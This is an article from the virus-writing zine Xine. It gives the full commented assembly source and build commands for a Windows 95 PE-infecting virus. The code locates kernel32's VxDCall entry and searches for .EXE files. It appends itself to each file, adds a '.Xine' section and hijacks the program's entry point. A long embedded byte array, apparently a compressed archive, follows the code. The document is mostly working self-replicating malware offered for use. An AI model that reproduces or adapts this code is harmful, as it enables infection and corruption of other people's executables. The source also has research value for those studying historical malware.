

                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 025 |
                                        \-----------------------------/


; This virus was designed for Xine2 the second zine release for iKx
; sadly Xine2 may never be released.  Another group dies with the first
; zine it releases <sigh>
; Thanks to Murkry for some of the ideas
; like using the unused data area in the data segment
; and other invaluable ideas ;)
;cheers,
; jhb
;
; Compiling:
;
;tasm32 /ml /m3 Xine2,,;
;tlink32 /Tpe /aa /c  Xine2,Xine2,, import32.lib
;
; Two assumations are made that will keep this virus within the win95
; realm
;       1 Check for 400000h as the bas loading address
;       2 Check that some system dll is loaded at BFF70000H
;          we hope its kernel32             
;
;       The virus will attempt to return to the host if either is
;       not true
;
;
;ok the object is to design this virus in chunks
;
; 1.
;        Find a Quick way to locate the VxdCall 0 in the smallest possible
;        way.
;          Check if the list is in order then just goto or scan for
;          the exports that have the firts 5 or so pointers into the
;          same region ??? start at bff70000 area then scan upward
;          Well this does not work, too many repeating bytes in the
;           area but still using the Bff70000h start point its easy to
;          find the Address table of the Exports which as it is in ordinal
;          order we know the first one is (you guess it) VxDCall0 ;)
;
;       2 Next since we can be pretty sure this is win95
;          we scan from 400000h for the PE marker
;          then locate the data size and where it should be
;          since win95 use the 4096 as a page size the data
;          segment will be in increments of 4096 (1000h)
;          then check how big an area the host program actual uses
;          if it has at least 600h  bytes unused we then
;          return with pointer to this area for virii to use as
;          as a data R/W area.
;         Well this works as long as there is only one data area
;         if there is more then one then the calculations mess up
;         so to remedy this one must search the Section headers for
;         A R/W data area that has a dead space of 600
;         this is a little harder to do but should better assure us of
;         a location that has free space
;         Basic structure of the GetDataSpace
;         1 find the section entries
;         2 check flags for r/w
;           test  [header + 24h],0C0000000h      ;flags = 0ffset 24h
;           jz    NotRW
;       ;good one check it
;       ;if if it as a big enough area for us
;           mov   eax,[header + 8h] 
;           sub   eax,[header + 14h]
;           cmp   eax,600h
;           jge   SpaceOk
;           jmp   NotRW
;           add   eax,[header + 0ch]
;           add   eax,400000h
;

;typedef struct _WIN32_FIND_DATA {
;   DWORD dwFileAttributes;                          0
;   FILETIME ftCreationTime;            DD ?,?       4
;   FILETIME ftLastAccessTime;          DD ?,?       C
;   FILETIME ftLastWriteTime;           DD ?,?       14
;   DWORD nFileSizeHigh;                             1C
;   DWORD nFileSizeLow;                              20
;   DWORD dwReserved0;                               24
;   DWORD dwReserved1;                               28
;   CHAR cFileName[MAX_PATH];                        2C
;   CHAR cAlternateFileName[ 0EH ];                  12bh
;} WIN32_FIND_DATA                                   139h


.386
locals
jumps
.model flat ,stdcall
;Define the needed external functions and constants here.

extrn           ExitProcess:PROC
extrn           MessageBoxA:PROC                ;note in the user32.dll
 
;----------------------------------------
K32             equ     0BFF70000H         ;LOCATION OF THE KERNEL32
                                           ;MODULE FOR WIN95
Viruslen        equ     (EndViri - offset HOST  ) 

;BELOW IS THE DATA AREA EQU FOR THE VIRUS
;ESI SHOULD POINT TO A  START OF A MIN OF 400K R/W DATA AREA (I HOPE :> )
; (Murk- If your wrong I am wasting my time!!! )

OrginIP         equ      00h
VxDCall         equ      04h
Counter         equ      08h
SrchHdle        equ      0Ch
FleHdle         equ      010h
Vsize           equ      014h            ;holds the VirtualSize of the virus
PElocation      equ      018h
LocOfOldIP      equ      01Ch           ;where we will place the old ip
OldIP           equ      020h           ;Area to hold it b4 we write it 
NewIP           equ      024h                             
SRCH            EQU     0C0H            ;length 139h I think ;)

BUFFER          equ     200H            ;buffer  for read write area

;---------------------------------------------------------------------
 

.data                                        ;the data area
storage         dd      4 dup(0)            

.code                                   ;executable code starts here

HOST:

;first we check if this is a version of win95 that the virus's knows
; not a surefire test but if
; 1: EAX is = EIP on startup on start if this is true
;       then eax  upper word will in most cases be 0040 unless the first
;       segemets take up more then (4095D * 255D) (1000*ff) which is
;       unlikely at least now if it is we simply let the host take over.
;
; 2: Next we check within 200H bytes if there is a 'PE',00h
;       once we find this we can find the data area and go from there
;       again if we cant let the host take over
;
; 3: Lastly is there 2k free in the data segment to use if not            
;       let the host take over we might want to check the host
;       before we infect it to avoid this chance.

HOST:
        pushad
        push   eax              ;the IP of the virus
;here we are modifigng the store EAX in the stack so we can
;use it as a jump to return the host later
;warning this will crash horrible in a non Win95 setup

        mov     edx,offset oldip - offset HOST
        add     edx,eax                      ;
        mov     eax,[edx]
        add     eax,0400000h
        mov     [esp + 20h],eax         ;fix the eax be 4 so we can return
                                        ; to the host

                       
        CALL   GetDataSpace

        OR     ESI,ESI          ;check if we found enough memory 
        JZ     NotWinPopx       ;for us to play with

        pop     dword ptr [esi + OrginIP]        ;store the start point
                                                ;here

        CAll   GET_VXD
         
        OR     ESI,ESI          ;check if we found enough memory 
        JnZ    Win95            ;for us to play with

        ;ok we now have the address to the VxDcall
        ;so we can use the protected mode int21
        ;also we know this is a version of win95 that I
        ; 1 Loads the modules in at 400000h
        ; 2 Some dll is loaded at bff7000h we hope its Kernel32
        ;We otherwise would have failed in our tests or would have already
        ;caused some sorta Exception error

NotWinPopx:
         pop     eax
NotWin95:

         jmp     fini


;-----------------------------------------------------------------
Win95:
 
        mov     dword ptr ds:[ebp + Counter],0    ;INIT A COUNTER
         

        call    FindFile
        mov     [ebp + SrchHdle],ebx

        jnc     FoundOne        ;need find next routine
                                ;ebx has the search file handle for next
                                ;routine
         

TryAgain:                                
        cmp     dword ptr [ebp + Counter],4     ;have we search for max
        je      NoFile                          ;yep get out        

        call    FindNext        ;try to find another
        OR      EAX,EAX         ;
        JZ      NoFile          ;there is no other

         


FoundOne:

        inc     dword ptr [ebp + Counter]       ;inc the counter

        CALL    OpenFile                        ;try to open the file
        JC      NOT_OPEN                        ;not opened
        jMP     FileOpen                        ;open

NOT_OPEN:
        cmp     dword ptr [ebp + Counter],4     ;have we search for max
        je      NoFile                          ;yep get out        

        mov     ebx,[ebp + SrchHdle]            ;get the search handle
        jmp     TryAgain                        ;try again




FileOpen:
        MOV     [ebp + FleHdle],EBX             ;get the file handle 

        MOV     ECX,400H                        ;readin the 
        CALL    ReadFile                        ;header 
 
        ;if we found a file we can read the file into the BUFFER location
        ;say 1k worth check if infect setup the new entry and  
        ;if all it ok then we can write the virus to the end
        ;and then write the modified version to disk

        ;Find the PEheader start
        ;if not PE the get out
        MOV     EAX,BUFFER + 3CH        ;OFFSET TO THE HEADER
        ADD     EAX,EBP

        mov     ESI,dword ptr [EAX]     ;

        ADD     ESI,BUFFER
        CMP     DWORD PTR [ESI+EBP],00004550H   ;Check for PE00
        je      OkFile                          ;yay its one

FileOpenError:
        call    Close
        jmp     TryAgain


OkFile:
        ;ESI + EBP = THE LOCATION OF THE PE HEADER
        ;SO
        ADD     ESI,EBP                 ;esi = PE header location

        push    esi                     ;make sure its not infected

        mov     eax,"niX."              ;yet
        mov     ecx,200h                ;
        repne   scasd                   ;

        pop     esi

        je      FileOpenError           ; its infected

;ok we know the file is a PE and its not infected with Xine2
;
        mov     bl,02                   ;get end of to file
        call    MovePoint               ;

        mov     eax,dword ptr [esi + 28h]       ;save the old ip
        mov     dword ptr [ebp + OldIP],eax     ;

        mov     eax, Viruslen - 1
        mov     ecx, [esi + 3ch]        ;file align is 3ch
        add     eax,ecx                 ;
        xor     edx,edx
        div     ecx
        mul     ecx

        push    eax                     ;this is how much we are
                                        ;writing with the buffer
                                        ;

 
        pop     ecx
        mov     dword ptr[ebp + Vsize],ecx

        mov     ecx, Viruslen
; ebx - handle
; ecx - number of bytes
; edx - the location of what we want to write      
 

        mov     edx,dword ptr [ebp + OrginIP]   ;get the file handle
        call    WriteFile                       ;write this to the end           

                     
        mov     ecx,8                           ;we want to write the
        mov     edx,ebp                         ;old ip at the end of the 
        add     edx,OldIP                       ;virus
        call    WriteFile                       ;

        mov     edx,400400h              
        mov     ecx,dword ptr[ebp + Vsize]
        sub     ecx,Viruslen + 8
        call    WriteFile

         

;ok if all is ok we need to add our section header
;and then update the rva starting point


        inc     word ptr [esi + 6]              ;section count 06
                                                ;incrment it for us
        xor     eax,eax
        mov     ax,[esi + 6]

        mov     [ebp + PElocation], esi   ; save the pointer to the PE header

        dec     eax
        mov     ecx,28h                 ;section header size
        mul     ecx

        add     esi,eax                 ;location in header where we
        add     esi,0f8h                ;need to load the new section
                                        ;header
                                        ;f8 is the size of the pe header

        mov     edi,esi                 ;edi = location in buffer
                                        ;toplace new header

        sub     esi,28h                 ;pointer to
                                        ; the last old section header
 
;-------------------
;name of the section   header
;-------------------

        mov     eax,"niX."              ;this stores the new header
        stosd                           ;name for us
        mov     eax,"2e"                ;
        stosd                           ;       8 bytes

;-------------------
;virtual size    what did we write to the file with buffer
;-------------------

        mov     eax,dword ptr[ebp + Vsize]      ;sets the virtual
        stosd                                   ;size of the header
                                                ;0ch
;-------------------
;Virtual address
;-------------------         

        mov     eax,[esi + 10h]          ;get size of raw data from previous
        dec     eax                      ; - 1

        mov     ebx,[ebp + PElocation]  ;get  the pointer to the PE header

        mov     ecx,[ebx + 38h]         ;get the section alignmnet
        add     eax,ecx
        xor     edx,edx
        div     ecx
        mul     ecx                     ;eax = the size of the last section
                                        ;Section aligmnet blocks

        add     eax,[esi + 0ch]         ;add in the Vaddress of the last
                                        ; section
        
        stosd                           ; 010h

        mov     dword ptr [ebx + 28h],eax ;update the PEheader entry point

        add     eax,dword ptr [ebx + 38h] ;update the size of the image file
        mov     dword ptr [ebx + 50h],eax ;virii should not be bigger than
                                          ;4096 or this will not work

;-------------------
;size of raw data
;-------------------
        mov     eax,[ebp + Vsize]       ;the size of the raw data
        stosd                           ; 14h

        add     dword ptr [ebx + 1ch],eax       ;update
                                                ;size of code in pe header
;-------------------
;pointer to raw data
;-------------------
        mov     eax,[ebp + SRCH + 20h]  ; old size of file
                                        ;from the find data struc

        stosd                           ; 18 h bytes

;-------------------
;ptr to relocs  size 4
;-------------------
        push    LARGE 0
        pop     eax
        stosd
;-------------------
;ptr to line nums size 4
;-------------------
        stosd
;-------------------
;num relocs     size 2
;-------------------
        stosw

;-------------------
;num line no     size 2
;-------------------
        stosw
;-------------------
;Chararteristcs size 4
; 6000 0020 excutable and readable code
;-------------------
        mov     eax,60000020h
        stosd


        

;
;ok write the firts 400h bytes back to the start of the file
        
        xor     bl,bl
        call    MovePoint

        mov     ecx,0400h
        mov     edx, ebp
        add     edx,BUFFER
        call    WriteFile

FileInfected:
EFileOpen:
        ;file error
        ;need to close file and leave
        call    Close


NoFile:
fini:         

        popad
        jmp     eax


;====================================================================





;--------------------------------------------------------------
;all below are the int 21 calls the code uses or code that would
;be used in a virus using this  method
;-------------------------------------------------------------
;int 21 714eh
;cl = attributes mask
;ch = required mask
;si = time date format 0000h = 64 bit 0001h = msdos date time
;ds:dx = the file name we are looking for
;es:di = the place we want to fill with the found file
;done
;ax = file handle
;cx = uncode flag
;cf  set on error
;ax= error code

;FILE    equ     00400300h
FNAME   EQU     02CH
SecHeader       db      'Xine',0,0,0,0          ;8 byte header name
HeaderFlags     dd      60000000h               ;Readable and Executable

Fexe    db      '*.EXE',0

FindFile:
        mov     eax,0000714eh

        mov     edx,offset Fexe - offset HOST   ;this will get us the *.exe
        add     edx,[ebp + OrginIP]     ;

        xor     esi,esi
        inc     esi
        push    ds
        pop     es
        mov     Edi, ebp           ;AREA TO SAVE THE FINDFILE INFO
        add     edi, SRCH          ;
        xor     ecx,ecx
        Call    INT_21
        mov     ebx,eax
        ret

;-------------------------------------------------------------
;ax = 714Fh
;ebx = file handle from previous search
;si = date time requested
;es:di  buffer for findata
;note ebx = the search handle

FindNext:
        mov     ebx,[ebp + SrchHdle]
        mov     eax,0000714fh
        mov     esi,1
         
        mov     Edi, ebp
        add     edi, SRCH     

        call    INT_21
        ret
;-------------------------------------------------------------
;
; ebx = the file handle we want to close
Close:
        mov     eax,00003E00h
        MOV     ebx, dword ptr [ebp + FleHdle]          ;get the file handle 
        call    INT_21
        ret


;-------------------------------------------------------------
; ecx:edx = the offset into the file
; al    0 = start of file
;       1 = current file
;       2 = end of file        
MovePoint:

        
        xor     ecx,ecx
        mov     edx,ecx

MoveP:
        mov     eax,00004200h
        mov     al,bl
        MOV     ebx, dword ptr [ebp + FleHdle]          ;get the file handle
        call    INT_21
        ret

;-------------------------------------------------------------
;usual dos function here just need the filename from the search routine
;check cf for error
OpenFile:
        mov     eax,00003d02h
        mov     EdX, ebp
        ADD     Edx,SRCH + FNAME
        xor     ecx,ecx
        call    INT_21
        mov     EBX,eax
        ret

;-------------------------------------------------------------
;CreateFile:
;        call    c1
;c1:
;        pop     eax
;         
;        xor     ecx,ecx
;
;        mov     edx,offset Fake - offset c1
;        add     eax,edx
;        xchg    eax,edx
  ;mov    ds
;        mov     eax,00003c00h
;        call    INT_21
;        mov     ebx,eax
;        ret
;Fake    db      'Murk$$',0
;
;
;-------------------------------------------------------------
; ebx - handle
; ecx - number of bytes
; edx - the location of what we want to write      
WriteFile:
        mov     eax,00004000h
        MOV     ebx, dword ptr [ebp + FleHdle]          ;get the file handle
        ;mov     cx,number of bytes
        ;mov     dx,the location of the data
        call    INT_21
        ret

;-------------------------------------------------------------
;ecx number of bytes
;edx = where we write the info to 
ReadFile:
 
        MOV     EBX, [EBP+ FleHdle] 
        mov     eax, 00003f00h      
        ;mov     ecx,2
        mov     Edx,EBP
        ADD     EDX,BUFFER
        
        call    INT_21
        ret

;-------------------------------------------------------------
INT_21:
        push    ecx
        push    eax
        push    002a0010h
            
        call    dword ptr [ebp + VxDCall]
        RET 

;vxd0            dd      0bff713d4h    ;this is the addresss for the
                                       ;vxdcall0
;get_21          dd      002a0010h     ;this is the 2a = Vwin32 10 = the int21
                                       ;routine

;------------------------------------------------------------------------------------
; onreturn will have
; ESI = the start of a 4k area of r\w data that the virus can use
; eax = the data location to use

GetDataSpace:
         
        mov     eax,00004550H       ;check for PE00
        mov     edi, 00400000h
        repne   scasd               ;
        jne     NotWin95A

        xchg    edi,esi

        lodsw                           ; ok we are at header + 4
                                        ; now we are at 6
        lodsw                           ; ax = the number of sections
                                        ;peheader + 8

        xor     ecx,ecx                 ;get the number of sections
        mov     ecx,eax                 ;

        add     esi,0f8h - 8            ;get to the section header         
                                        ;

        ;esi points to the first section header

TryNext:
        cmp     ecx,0
        jz      NotWin95A

        mov     eax,[esi + 24h]         ;flags
        and     eax,0c0000000h
        cmp     eax,0c0000000h
        jne      NextOne 

        mov     eax,[esi + 8h]          ;virtual size
        xor     edx,edx

        mov     ebx,4095
        add     eax,ebx
        inc     ebx
        div     ebx
        mul     ebx

        sub     eax,[esi + 10h]         ;size of raw data
        cmp     eax,600h
        jge     OkSpace


NextOne:
        add     esi,28h
        loop    TryNext

OkSpace:
        mov     eax,[esi + 0ch]         ;virtual address
        add     eax,[esi + 10h]         ;size of raw data     
        add     eax,00400000h
        push    eax
        pop     esi
        ret

NotWin95A:
        xor     esi,esi
        ret
 
         
 ;end of GetDataSpace
;-----------------------------------------------------------
;-----------------------------------------------------------
;returns with the VxDcall fill with the correct location
;or again esi = 0 if failed
;
GET_VXD:
        
        PUSH    ESI             ;SAVE OUR DATA AREA
        pop     ebp

        XOR     EAX,EAX
        MOV     ESI,K32 + 3CH
        LODSW

      ;ESI = THE PE HEADER START of the Kernel32

        ADD     EAX,K32
        CMP     DWORD PTR [EAX],00004550H       ;check for PE00
        JE      NoERROR

ERROR:  JMP    NotWin95A  

;ESI SHOULD HOLD THE POINTER TO THE
;RVA TO THE EXPORT DIRECTORY 

NoERROR:
        MOV     ESI,[EAX + 78H]         ; 78H = THE EXPORT RVA
        ADD     ESI,K32 + 1CH           ; 1CH RVA TO THE ADDRESS TABLE

    
        LODSD                           ; EAX IS
        ADD     EAX,K32                 ; FIRST OF THE ORDINAL
                                        ; EXPORTS

        PUSH    EAX                     ;get this in the esi
        POP     ESI                     ;

        LODSD                           ;gets the rva to the call
        ADD     EAX,K32                 ;EAX = THE VXDCALL IMPORT

        mov     [ebp +VxDCall],eax      ;save it in our data area

        RET   
;end GetVxd 
;-----------------------------------------------------------
        DB   80,75,3,4,20,0,0,0,8,0,242,170,119,32,167,184,152,155,109,25,0
        DB   0,63,90,0,0,7,0,0,0,65,68,68,46,65,83,77,205,60,107,115,219,56
        DB   146,223,93,229,255,208,179,181,85,147,76,148,172,36,59,153,140
        DB   85,185,41,197,166,199,218,113,44,173,164,36,190,155,115,165,32
        DB   18,146,24,83,132,150,15,75,158,171,251,239,135,110,0,36,64,82,178
        DB   125,201,94,157,146,74,36,18,104,52,26,221,141,126,1,61,152,110
        DB   4,176,52,205,87,44,11,69,156,2,75,56,172,88,192,33,91,178,12,54
        DB   97,20,193,45,231,107,249,51,76,225,46,76,242,84,62,148,63,98,249
        DB   132,203,175,241,47,175,15,15,122,144,112,22,173,240,139,250,116
        DB   224,116,201,253,91,152,139,4,142,219,248,89,202,81,168,203,76,254
        DB   31,9,22,132,241,2,88,16,36,60,77,203,126,93,221,143,6,79,197,138
        DB   67,122,159,102,124,5,129,196,35,84,29,121,0,242,229,251,243,243
        DB   159,17,238,69,217,89,126,54,28,150,98,205,33,204,82,137,118,18
        DB   243,232,168,11,246,71,182,46,59,76,37,58,102,74,18,62,203,228,72
        DB   235,12,50,33,167,147,229,73,140,223,16,229,165,72,51,8,231,192
        DB   229,196,121,34,241,40,65,196,66,182,79,114,174,224,202,191,226
        DB   150,186,136,217,87,238,103,136,178,132,17,240,52,92,196,54,9,195
        DB   24,252,101,30,223,166,26,159,206,43,107,26,231,97,44,167,8,255
        DB   200,67,255,22,54,236,30,65,68,194,103,25,39,208,159,182,193,41
        DB   147,232,182,65,47,66,186,146,63,185,68,113,45,210,52,156,69,220
        DB   130,37,187,219,160,65,211,87,78,6,123,70,97,74,56,74,64,34,9,228
        DB   212,228,195,24,190,230,242,233,66,200,81,69,2,169,207,98,92,70
        DB   7,8,246,229,219,181,72,178,84,45,213,146,221,41,228,230,33,62,123
        DB   77,61,133,68,40,140,51,158,224,0,138,148,14,148,148,173,56,36,124
        DB   17,138,24,126,253,245,87,72,51,150,100,184,182,179,249,156,214
        DB   22,153,145,41,156,8,141,124,189,97,73,224,192,248,204,163,72,17
        DB   54,16,60,165,229,216,136,228,182,5,153,16,176,98,241,189,28,96
        DB   205,89,134,220,54,187,207,120,170,137,230,0,81,227,204,242,76,162
        DB   128,140,144,167,216,28,167,243,94,99,178,212,200,209,132,136,187
        DB   56,75,113,97,28,56,115,92,56,236,214,87,124,13,25,155,69,28,132
        DB   34,182,167,9,182,89,134,62,73,67,104,209,62,140,89,228,192,82,235
        DB   177,225,112,27,139,141,33,109,154,129,136,57,246,122,118,47,114
        DB   88,228,56,72,152,61,135,79,219,51,228,137,54,244,158,59,28,222
        DB   133,43,190,149,211,10,99,159,35,48,164,226,140,195,58,225,89,118
        DB   15,105,158,112,69,188,48,45,69,217,22,38,181,250,137,88,21,82,140
        DB   18,141,216,140,60,88,177,228,150,215,24,35,182,121,53,96,25,147
        DB   163,255,201,129,197,129,156,57,79,80,54,33,93,138,60,10,36,38,46
        DB   63,40,44,17,15,200,83,5,224,184,253,203,27,164,21,131,53,91,112
        DB   5,202,0,118,59,243,197,138,199,90,99,201,41,134,177,252,235,39
        DB   28,31,166,184,4,4,233,89,7,39,241,188,142,179,79,98,177,20,27,152
        DB   133,11,137,108,193,122,74,248,215,137,88,36,108,5,204,207,114,134
        DB   12,194,45,29,32,63,225,28,167,181,68,68,51,136,56,147,93,222,32
        DB   181,52,207,229,177,236,17,32,65,113,48,167,167,214,52,168,83,141
        DB   184,40,181,19,166,10,7,36,248,93,152,132,33,62,70,178,48,119,104
        DB   34,14,209,121,252,183,207,212,197,17,248,82,64,80,46,82,32,237
        DB   139,170,151,180,113,66,204,36,226,232,158,24,139,192,32,8,27,130
        DB   210,21,170,229,74,36,106,14,212,156,190,32,141,124,22,249,121,164
        DB   119,144,21,50,101,190,182,65,164,66,41,213,21,15,238,21,50,216
        DB   125,133,122,38,229,44,241,151,4,101,194,125,132,0,75,206,2,84,26
        DB   21,173,211,167,9,22,40,26,197,67,211,151,61,32,93,51,159,132,237
        DB   77,187,109,247,51,12,206,32,10,179,44,226,178,143,210,117,2,2,161
        DB   164,222,176,99,134,212,199,221,80,206,50,71,174,177,225,48,197
        DB   216,136,97,49,244,60,225,92,13,108,183,124,207,210,208,135,52,75
        DB   114,63,67,80,90,1,252,198,179,51,137,253,164,218,188,83,42,142
        DB   84,147,128,199,89,18,186,60,214,213,60,58,143,216,130,104,3,201
        DB   223,54,174,26,203,112,19,128,63,20,253,224,5,116,143,151,55,173
        DB   246,105,187,173,101,151,62,61,5,224,29,180,231,243,148,103,216
        DB   200,133,242,245,79,252,247,74,100,227,207,229,139,222,66,136,128
        DB   86,77,97,17,102,214,59,228,126,18,0,90,12,20,32,30,139,124,177
        DB   44,25,56,119,121,22,86,226,78,254,203,217,182,85,98,251,118,121
        DB   3,110,171,52,159,213,90,117,228,156,220,86,254,106,173,91,161,200
        DB   85,230,178,224,242,95,162,248,240,182,242,138,186,85,166,73,235
        DB   28,4,181,81,219,126,117,212,178,149,214,140,164,119,229,63,217
        DB   253,154,7,124,174,151,31,190,124,30,92,29,117,191,156,15,174,206
        DB   190,156,245,167,125,248,47,5,231,236,243,112,124,6,193,230,60,140
        DB   120,63,203,146,112,150,103,60,181,71,168,124,52,79,159,15,46,189
        DB   233,224,131,7,243,236,52,225,196,142,211,112,197,157,142,103,103
        DB   240,107,235,87,253,227,184,214,239,146,165,89,223,247,121,154,86
        DB   122,58,253,78,27,251,125,78,194,140,87,7,116,250,117,142,237,9
        DB   198,56,191,73,248,39,191,8,23,203,61,179,195,142,167,141,29,47
        DB   197,102,127,63,232,182,93,146,142,121,202,147,59,30,180,31,232
        DB   7,93,7,213,178,99,231,193,142,111,85,199,211,139,254,24,124,196
        DB   244,138,173,248,31,31,250,215,95,70,253,233,197,205,206,254,221
        DB   83,187,99,63,202,120,18,179,140,23,16,160,237,93,64,83,247,78,119
        DB   134,28,246,223,80,101,167,135,63,157,163,95,150,200,153,135,7,175
        DB   142,222,190,57,60,64,45,22,165,135,7,95,243,213,90,254,247,106
        DB   37,2,30,161,90,201,160,149,102,129,124,137,150,200,25,159,135,74
        DB   197,67,204,57,26,221,124,75,216,202,166,121,236,107,103,33,14,192
        DB   151,95,50,134,155,44,110,18,175,112,28,217,50,137,45,12,188,109
        DB   152,141,18,129,28,119,50,26,15,79,235,45,62,200,87,108,193,223
        DB   139,109,159,90,84,231,208,139,69,198,141,189,155,167,60,57,234
        DB   190,10,16,79,212,24,47,31,249,57,60,248,189,226,13,240,127,230
        DB   74,182,10,111,162,28,241,114,120,218,159,14,134,87,48,60,135,233
        DB   133,7,191,123,227,43,239,242,168,43,199,124,252,167,247,97,120
        DB   246,241,210,131,243,225,24,87,14,13,172,79,232,0,68,60,174,226
        DB   240,204,139,3,249,46,132,151,32,148,102,190,24,78,166,0,207,129
        DB   212,202,123,239,114,248,25,6,19,194,133,86,190,63,246,250,224,253
        DB   227,35,1,199,167,159,6,227,143,19,217,212,155,12,96,114,49,252
        DB   120,121,6,163,225,224,106,10,211,33,244,1,38,211,254,120,138,179
        DB   233,195,135,1,77,235,184,221,254,157,54,213,18,222,179,129,28,118
        DB   228,193,201,191,1,89,73,207,62,228,201,237,75,24,204,225,94,228
        DB   9,108,18,180,29,6,192,86,176,97,41,89,213,171,123,200,194,21,255
        DB   225,135,31,176,199,225,193,48,89,132,241,96,84,163,49,144,142,212
        DB   134,106,195,91,220,134,78,69,78,6,80,253,237,91,249,118,146,248
        DB   203,139,32,226,245,183,167,242,237,121,196,237,151,214,219,14,13
        DB   76,166,99,125,233,229,235,227,165,245,28,122,75,17,5,202,85,253
        DB   20,38,104,238,161,22,50,123,56,185,111,135,7,35,175,176,5,170,208
        DB   16,211,75,225,15,231,195,40,48,100,176,94,159,218,131,245,148,69
        DB   188,225,202,108,93,71,104,193,144,251,24,5,16,174,15,15,44,24,21
        DB   64,221,182,3,168,79,22,145,128,37,245,204,96,118,76,80,81,91,227
        DB   207,195,131,43,190,217,5,201,157,127,237,115,120,48,25,159,94,216
        DB   79,144,233,20,221,45,129,65,44,34,30,47,178,37,105,28,24,160,225
        DB   21,223,146,71,114,120,240,254,227,249,185,55,174,15,223,181,101
        DB   14,65,204,242,249,28,57,128,12,28,52,235,212,28,148,81,250,4,97
        DB   127,64,19,144,80,189,34,99,242,145,159,94,225,207,40,92,210,76
        DB   36,108,81,178,20,217,3,184,223,66,144,175,159,181,159,187,36,148
        DB   131,249,34,176,25,112,231,56,124,203,253,92,121,142,212,133,60
        DB   79,165,93,17,14,106,133,19,34,133,114,8,55,133,73,54,183,76,221
        DB   59,158,164,200,157,98,174,29,42,50,89,11,14,254,49,37,191,146,172
        DB   50,244,153,25,249,130,18,32,87,70,36,90,197,33,89,191,157,19,240
        DB   250,215,8,244,29,120,131,17,72,152,132,80,190,46,190,218,35,235
        DB   88,136,237,90,113,182,5,200,215,107,116,103,69,18,40,86,15,99,88
        DB   161,99,229,179,148,167,232,175,181,219,199,109,200,227,136,220
        DB   102,227,237,150,144,82,190,224,43,142,225,6,118,203,37,52,203,19
        DB   121,118,220,254,229,245,25,252,4,221,215,175,207,158,43,23,239
        DB   167,249,252,185,118,180,237,104,141,132,31,222,242,232,190,244
        DB   210,208,185,86,182,43,122,72,232,96,174,214,242,125,196,179,210
        DB   249,163,33,197,29,79,94,105,223,186,123,162,220,234,130,244,58
        DB   34,70,204,172,163,12,150,211,196,224,199,145,247,99,203,49,78,133
        DB   118,200,181,229,175,6,39,103,219,184,2,165,163,131,187,236,66,40
        DB   55,60,83,108,96,192,176,5,67,71,119,174,123,103,59,16,2